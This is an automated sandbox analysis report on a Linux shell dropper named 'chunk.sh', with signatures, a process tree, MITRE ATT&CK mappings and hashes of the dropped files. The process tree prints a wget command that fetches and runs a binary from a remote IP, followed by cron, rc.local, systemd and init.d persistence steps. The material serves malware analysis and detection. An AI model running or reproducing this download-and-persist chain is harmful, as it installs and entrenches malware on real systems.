Overview

overview

10

Static

static

1

chunk.sh

ubuntu-18.04-amd64

10

chunk.sh

debian-9-armhf

7

chunk.sh

debian-9-mips

10

chunk.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    48s
  • max time network
    45s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/08/2026, 11:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    chunk.sh
  • Size 6KB
  • Sample260812-nt78bacd56
  • SHA256 1a0b68aaa68362b41b3f24346d51f187e8a61fea0bbb978c672f2548b08b4afb
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 6 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/chunk.sh
    /tmp/chunk.sh
    1⤵
    • Executes dropped EXE
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Writes file to shm directory
    PID:644
    • /bin/uname
      uname -m
      2⤵
        PID:648
      • /bin/pidof
        pidof sdfjgnjsdf sdfjgnjsdf.arm7
        2⤵
        • Reads runtime system information
        PID:651
      • /usr/bin/touch
        touch /dev/shm/.w
        2⤵
        • Writes file to shm directory
        PID:658
      • /bin/rm
        rm -f /dev/shm/.w
        2⤵
          PID:662
        • /usr/bin/touch
          touch /dev/shm/test_exec_644
          2⤵
          • Writes file to shm directory
          PID:667
        • /bin/rm
          rm -f /dev/shm/test_exec_644
          2⤵
            PID:670
          • /bin/chmod
            chmod 755 /dev/shm/.ex_644
            2⤵
            • File and Directory Permissions Modification
            PID:672
          • /dev/shm/.ex_644
            /dev/shm/.ex_644
            2⤵
              PID:673
            • /bin/rm
              rm -f /dev/shm/.ex_644
              2⤵
                PID:675
              • /bin/rm
                rm -f /dev/shm/sdfjgnjsdf.arm7
                2⤵
                  PID:678
                • /usr/bin/wget
                  wget -q "--timeout=10" http://176.65.139.244/static/js/sdfjgnjsdf.arm7 -O /dev/shm/sdfjgnjsdf.arm7
                  2⤵
                  • Writes file to shm directory
                  PID:679
                • /bin/chmod
                  chmod 755 /dev/shm/sdfjgnjsdf.arm7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:772
                • /bin/sleep
                  sleep 2
                  2⤵
                    PID:774
                  • /dev/shm/sdfjgnjsdf.arm7
                    /dev/shm/sdfjgnjsdf.arm7
                    2⤵
                      PID:775
                    • /usr/bin/dirname
                      dirname /dev/shm/sdfjgnjsdf.arm7
                      2⤵
                        PID:776
                      • /lib/ld-linux-armhf.so.3
                        /lib/ld-linux-armhf.so.3 --library-path /dev/shm /dev/shm/sdfjgnjsdf.arm7
                        2⤵
                          PID:777
                        • /usr/bin/basename
                          basename /dev/shm/sdfjgnjsdf.arm7
                          2⤵
                            PID:778
                          • /bin/cp
                            cp /dev/shm/sdfjgnjsdf.arm7 /dev/shm/.sdfjgnjsdf.arm7.644
                            2⤵
                            • Reads runtime system information
                            • Writes file to shm directory
                            PID:779
                          • /bin/chmod
                            chmod 755 /dev/shm/.sdfjgnjsdf.arm7.644
                            2⤵
                            • File and Directory Permissions Modification
                            PID:780
                          • /dev/shm/.sdfjgnjsdf.arm7.644
                            /dev/shm/.sdfjgnjsdf.arm7.644
                            2⤵
                              PID:781
                            • /bin/mkdir
                              mkdir -p /var/lib/.system
                              2⤵
                                PID:783
                              • /dev/shm/sdfjgnjsdf.arm7
                                /dev/shm/sdfjgnjsdf.arm7
                                2⤵
                                  PID:784
                                • /usr/bin/dirname
                                  dirname /dev/shm/sdfjgnjsdf.arm7
                                  2⤵
                                    PID:785
                                  • /bin/cp
                                    cp /dev/shm/sdfjgnjsdf.arm7 /var/lib/.system/sdfjgnjsdf.arm7
                                    2⤵
                                    • Reads runtime system information
                                    PID:786
                                  • /lib/ld-linux-armhf.so.3
                                    /lib/ld-linux-armhf.so.3 --library-path /dev/shm /dev/shm/sdfjgnjsdf.arm7
                                    2⤵
                                      PID:787
                                    • /usr/bin/basename
                                      basename /dev/shm/sdfjgnjsdf.arm7
                                      2⤵
                                        PID:788
                                      • /bin/cp
                                        cp /dev/shm/sdfjgnjsdf.arm7 /dev/shm/.sdfjgnjsdf.arm7.644
                                        2⤵
                                        • Writes file to shm directory
                                        PID:789
                                      • /bin/chmod
                                        chmod 755 /var/lib/.system/sdfjgnjsdf.arm7
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:790
                                      • /bin/grep
                                        grep -v sdfjgnjsdf
                                        2⤵
                                          PID:793
                                        • /bin/grep
                                          grep -v /var/lib/.system/sdfjgnjsdf.arm7
                                          2⤵
                                            PID:792
                                          • /usr/bin/crontab
                                            crontab -l
                                            2⤵
                                              PID:791
                                            • /usr/bin/crontab
                                              crontab -
                                              2⤵
                                              • Creates/modifies Cron job
                                              PID:794
                                            • /bin/chmod
                                              chmod 755 /dev/shm/.sdfjgnjsdf.arm7.644
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:795
                                            • /dev/shm/.sdfjgnjsdf.arm7.644
                                              /dev/shm/.sdfjgnjsdf.arm7.644
                                              2⤵
                                                PID:796
                                              • /usr/bin/crontab
                                                crontab -
                                                2⤵
                                                • Creates/modifies Cron job
                                                PID:798
                                              • /usr/bin/crontab
                                                crontab -l
                                                2⤵
                                                  PID:799
                                                • /bin/chmod
                                                  chmod +x /etc/rc.local
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:800
                                                • /bin/cat
                                                  cat
                                                  2⤵
                                                    PID:801
                                                  • /usr/bin/timeout
                                                    timeout 5 systemctl daemon-reload
                                                    2⤵
                                                      PID:802
                                                      • /usr/local/sbin/systemctl
                                                        systemctl daemon-reload
                                                        3⤵
                                                          PID:803
                                                        • /usr/local/bin/systemctl
                                                          systemctl daemon-reload
                                                          3⤵
                                                            PID:803
                                                          • /usr/sbin/systemctl
                                                            systemctl daemon-reload
                                                            3⤵
                                                              PID:803
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                                PID:803
                                                              • /sbin/systemctl
                                                                systemctl daemon-reload
                                                                3⤵
                                                                  PID:803
                                                                • /bin/systemctl
                                                                  systemctl daemon-reload
                                                                  3⤵
                                                                  • Enumerates kernel/hardware configuration
                                                                  • Reads runtime system information
                                                                  PID:803
                                                              • /usr/bin/timeout
                                                                timeout 5 systemctl enable network-helper.service
                                                                2⤵
                                                                  PID:816
                                                                  • /usr/local/sbin/systemctl
                                                                    systemctl enable network-helper.service
                                                                    3⤵
                                                                      PID:817
                                                                    • /usr/local/bin/systemctl
                                                                      systemctl enable network-helper.service
                                                                      3⤵
                                                                        PID:817
                                                                      • /usr/sbin/systemctl
                                                                        systemctl enable network-helper.service
                                                                        3⤵
                                                                          PID:817
                                                                        • /usr/bin/systemctl
                                                                          systemctl enable network-helper.service
                                                                          3⤵
                                                                            PID:817
                                                                          • /sbin/systemctl
                                                                            systemctl enable network-helper.service
                                                                            3⤵
                                                                              PID:817
                                                                            • /bin/systemctl
                                                                              systemctl enable network-helper.service
                                                                              3⤵
                                                                              • Enumerates kernel/hardware configuration
                                                                              • Reads runtime system information
                                                                              PID:817
                                                                          • /usr/bin/timeout
                                                                            timeout 5 systemctl start network-helper.service
                                                                            2⤵
                                                                              PID:830
                                                                              • /usr/local/sbin/systemctl
                                                                                systemctl start network-helper.service
                                                                                3⤵
                                                                                  PID:831
                                                                                • /usr/local/bin/systemctl
                                                                                  systemctl start network-helper.service
                                                                                  3⤵
                                                                                    PID:831
                                                                                  • /usr/sbin/systemctl
                                                                                    systemctl start network-helper.service
                                                                                    3⤵
                                                                                      PID:831
                                                                                    • /usr/bin/systemctl
                                                                                      systemctl start network-helper.service
                                                                                      3⤵
                                                                                        PID:831
                                                                                      • /sbin/systemctl
                                                                                        systemctl start network-helper.service
                                                                                        3⤵
                                                                                          PID:831
                                                                                        • /bin/systemctl
                                                                                          systemctl start network-helper.service
                                                                                          3⤵
                                                                                          • Enumerates kernel/hardware configuration
                                                                                          PID:831
                                                                                      • /bin/mkdir
                                                                                        mkdir -p /etc/init.d
                                                                                        2⤵
                                                                                          PID:836
                                                                                        • /bin/cat
                                                                                          cat
                                                                                          2⤵
                                                                                            PID:837
                                                                                          • /bin/chmod
                                                                                            chmod 755 /etc/init.d/network-helper
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:838
                                                                                          • /usr/sbin/update-rc.d
                                                                                            update-rc.d network-helper defaults
                                                                                            2⤵
                                                                                              PID:839
                                                                                              • /usr/local/sbin/systemctl
                                                                                                systemctl daemon-reload
                                                                                                3⤵
                                                                                                  PID:840
                                                                                                • /usr/local/bin/systemctl
                                                                                                  systemctl daemon-reload
                                                                                                  3⤵
                                                                                                    PID:840
                                                                                                  • /usr/sbin/systemctl
                                                                                                    systemctl daemon-reload
                                                                                                    3⤵
                                                                                                      PID:840
                                                                                                    • /usr/bin/systemctl
                                                                                                      systemctl daemon-reload
                                                                                                      3⤵
                                                                                                        PID:840
                                                                                                      • /sbin/systemctl
                                                                                                        systemctl daemon-reload
                                                                                                        3⤵
                                                                                                          PID:840
                                                                                                        • /bin/systemctl
                                                                                                          systemctl daemon-reload
                                                                                                          3⤵
                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                          • Reads runtime system information
                                                                                                          PID:840
                                                                                                      • /bin/rm
                                                                                                        rm -f /dev/shm/sdfjgnjsdf.arm7
                                                                                                        2⤵
                                                                                                          PID:853

                                                                                                      Network

                                                                                                            MITRE ATT&CK Enterprise v16

                                                                                                            Reconnaissance

                                                                                                            Resource Development

                                                                                                            Initial Access

                                                                                                            Execution

                                                                                                            Scheduled Task/Job

                                                                                                            1
                                                                                                            T1053

                                                                                                            Cron

                                                                                                            1
                                                                                                            T1053.003

                                                                                                            Persistence

                                                                                                            Boot or Logon Autostart Execution

                                                                                                            3
                                                                                                            T1547

                                                                                                            XDG Autostart Entries

                                                                                                            1
                                                                                                            T1547.013

                                                                                                            Boot or Logon Initialization Scripts

                                                                                                            2
                                                                                                            T1037

                                                                                                            RC Scripts

                                                                                                            2
                                                                                                            T1037.004

                                                                                                            Create or Modify System Process

                                                                                                            1
                                                                                                            T1543

                                                                                                            Systemd Service

                                                                                                            1
                                                                                                            T1543.002

                                                                                                            Scheduled Task/Job

                                                                                                            1
                                                                                                            T1053

                                                                                                            Cron

                                                                                                            1
                                                                                                            T1053.003

                                                                                                            Privilege Escalation

                                                                                                            Boot or Logon Autostart Execution

                                                                                                            3
                                                                                                            T1547

                                                                                                            XDG Autostart Entries

                                                                                                            1
                                                                                                            T1547.013

                                                                                                            Boot or Logon Initialization Scripts

                                                                                                            2
                                                                                                            T1037

                                                                                                            RC Scripts

                                                                                                            2
                                                                                                            T1037.004

                                                                                                            Create or Modify System Process

                                                                                                            1
                                                                                                            T1543

                                                                                                            Systemd Service

                                                                                                            1
                                                                                                            T1543.002

                                                                                                            Scheduled Task/Job

                                                                                                            1
                                                                                                            T1053

                                                                                                            Cron

                                                                                                            1
                                                                                                            T1053.003

                                                                                                            Defense Evasion

                                                                                                            File and Directory Permissions Modification

                                                                                                            1
                                                                                                            T1222

                                                                                                            Linux and Mac File and Directory Permissions Modification

                                                                                                            1
                                                                                                            T1222.002

                                                                                                            Credential Access

                                                                                                            Discovery

                                                                                                            System Information Discovery

                                                                                                            1
                                                                                                            T1082

                                                                                                            Lateral Movement

                                                                                                            Collection

                                                                                                            Command and Control

                                                                                                            Exfiltration

                                                                                                            Impact

                                                                                                            Replay Monitor

                                                                                                            Loading Replay Monitor...

                                                                                                            Downloads

                                                                                                            .ex_644
                                                                                                            • Path /dev/shm/.ex_644
                                                                                                            • Size 10B
                                                                                                            • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                                                                            • MD5 SHA1 SHA512
                                                                                                            Submit Download

                                                                                                            sdfjgnjsdf.arm7
                                                                                                            • Path /dev/shm/sdfjgnjsdf.arm7
                                                                                                            • Size 109KB
                                                                                                            • SHA256 3942c7ab1e846b4bc9f11e358efff0558fe10ca09e82fac1d0b80fc1aafdfea9
                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                            Submit Download

                                                                                                            network-helper
                                                                                                            • Path /etc/init.d/network-helper
                                                                                                            • Size 574B
                                                                                                            • SHA256 befcd4016abb76e84b8b70b782424cdc8e591f2b47be8743674ffb6aa4523d37
                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                            Submit Download

                                                                                                            rc.local
                                                                                                            • Path /etc/rc.local
                                                                                                            • Size 52B
                                                                                                            • SHA256 26666efc90d979554f41c3afa532f90ff37270ec6249f80fb792d70f5698c75d
                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                            Submit Download

                                                                                                            network-helper.service
                                                                                                            • Path /etc/systemd/system/network-helper.service
                                                                                                            • Size 291B
                                                                                                            • SHA256 6bdaf46403147ae01ff52ef35fa673b1a83f49a3f4d5c51bd8d8ecc177819d17
                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                            Submit Download

                                                                                                            tmp.DDtOU2
                                                                                                            • Path /var/spool/cron/crontabs/tmp.DDtOU2
                                                                                                            • Size 237B
                                                                                                            • SHA256 2d2d4401f6c0768a828b475b2e7524c7dfe51c8c76be6dbb8beaa9dec13831da
                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                            Submit Download

                                                                                                            tmp.r3Yo7X
                                                                                                            • Path /var/spool/cron/crontabs/tmp.r3Yo7X
                                                                                                            • Size 175B
                                                                                                            • SHA256 2b048971c26a929527ec5f4e1673313a6bf9af9d67290eda4df9091d4680d610
                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                            Submit Download